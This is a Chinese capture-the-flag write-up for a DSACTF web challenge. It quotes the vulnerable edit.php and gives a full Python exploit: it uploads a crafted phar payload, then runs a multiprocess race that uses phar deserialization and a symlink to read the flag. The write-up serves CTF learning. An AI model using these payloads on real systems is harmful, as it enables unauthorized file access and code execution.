自己的理解
简单分析
上周末dsactf的一道题,赛后自己自己看着作者的wp研究了一下,发现很多师傅都是用条件竞争打的,然后我在自己的机器上试了很多次都没结果,分析了一下,其实这道题用条件竞争读到flag是非预期,buuoj的平台不能一次性发送大量的包,否则会429错误。而且不难发现它这个edit.php可以使用条件竞争的地方还是要经过大量的调试的
edit.php:
<?php
ini_set("error_reporting","0");
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}
}
function filewrite($file,$data){
unlink($file);
file_put_contents($file, $data);
}
if(isset($_POST['png'])){
$filename = $_POST['png'];
if(!preg_match("/:|phar|\/\/|php/im",$filename)){
$f = fopen($filename,"r");
$contents = fread($f, filesize($filename));
if(strpos($contents,"flag{") !== false){
filewrite($filename,"Don't give me flag!!!");
}
}
if(isset($_POST['flag'])) {
$flag = (string)$_POST['flag'];
if ($flag == "Give me flag") {
filewrite("/tmp/flag.txt", "Don't give me flag");
sleep(2);
die("no no no !");
} else {
filewrite("/tmp/flag.txt", $flag); //不给我看我自己写个flag。
}
$head = "uploads/head.png";
unlink($head); //“删除文件”,即解除与"uploads/head.png"的软链接
if (symlink($filename, $head)) { //可以使symlink()报错返回false从而运行unlink()从而可以phar反序列化执行__destruct()
echo "成功更换头像";
} else {
unlink($filename);
echo "非正常文件,已被删除";
};
}
}
这里的思路是:
利用文件上传上传 phar文件
写入超长文件名使得
symlink()
函数出错返回 falseunlink()
触发 phar 反序列化将flag写入到可读的/tmp/flag.txt
处建立与
/tmp/flag.txt
与uploads/head.png
的软连接在建立与
/tmp/flag.txt
的软链接之前程序会将原来写入的flag给覆盖掉。所以要在覆盖flag后,另一个线程已经在copy/falg
到/tmp/flag.txt
,这样/uploads/head.png
与/tmp/flag.txt
建立了链接,同时flag也没有被覆盖,然后访问/uploads/head.png
读取即可。
这里难点就是要抓住这个时机
exp
# 本脚本来自Carrot2
import random
from multiprocessing import Process
import requests
import time
session = requests.session()
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
url = "http://3f33abdf-13d3-41ad-8449-99748055ffda.node4.buuoj.cn:81"
def fun1():
global url, burp0_headers
# time.sleep(1)
burp0_url = url + '/edit.php'
burp0_data = {
"png": "phar://uploads/fe409167fb98b72dcaff5486a612a575.png/test.txt/" + 'x' * 5000,
"flag": "flag{x}"}
print(1, time.time_ns())
r = session.post(burp0_url, data=burp0_data, proxies=proxies)
print(1, time.time_ns(), r.elapsed)
# print(r.text)
def fun2():
global url, burp0_headers
burp0_url = url + '/edit.php'
burp0_data = {
"png": "/tmp/flag.txt",
"flag": "G"
}
time.sleep(random.random() / 7)
print(2, time.time_ns())
r = session.post(burp0_url, data=burp0_data, proxies=proxies)
print(2, time.time_ns(), r.elapsed)
def fun3():
global url, burp0_headers
burp0_url = url + '/uploads/head.png'
r = session.get(burp0_url, proxies=proxies)
def fun0():
global url
burp0_url = url + "/upload.php"
burp0_headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------33274515982456441596545310848"}
burp0_data = "-----------------------------33274515982456441596545310848\r\nContent-Disposition: form-data; name=\"file\"; filename=\"phar.phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php __HALT_COMPILER(); ?>\r\nE\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x0f\x00\x00\x00O:4:\"flag\":0:{}\x08\x00\x00\x00test.txt\x04\x00\x00\x007\x88cb\x04\x00\x00\x00\x0c~\xd8\xb6\x01\x00\x00\x00\x00\x00\x00test^p\xef\x02_\x1d\x8e\xa2\xf9\xbe\x95\xbc\xba<\xb7AbB\xfdD\x02\x00\x00\x00GBMB\r\n-----------------------------33274515982456441596545310848--\r\n"
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
if __name__ == '__main__':
fun0()
process_list = []
for i in range(50):
p1 = Process(target=fun1, )
process_list.append(p1)
p2 = Process(target=fun2, )
process_list.append(p2)
p3 = Process(target=fun3, )
process_list.append(p3)
p1.start()
p2.start()
time.sleep(0.5)
p3.start()
time.sleep(1)
设置了代理,进bp盯着就行了。
注意:该题的利用条件竞争读取的概率还是有点低的,受环境影响,这个时间差要自己多次调试才能成功。
出题人的wp
这里附上出题人的解法。(很全面)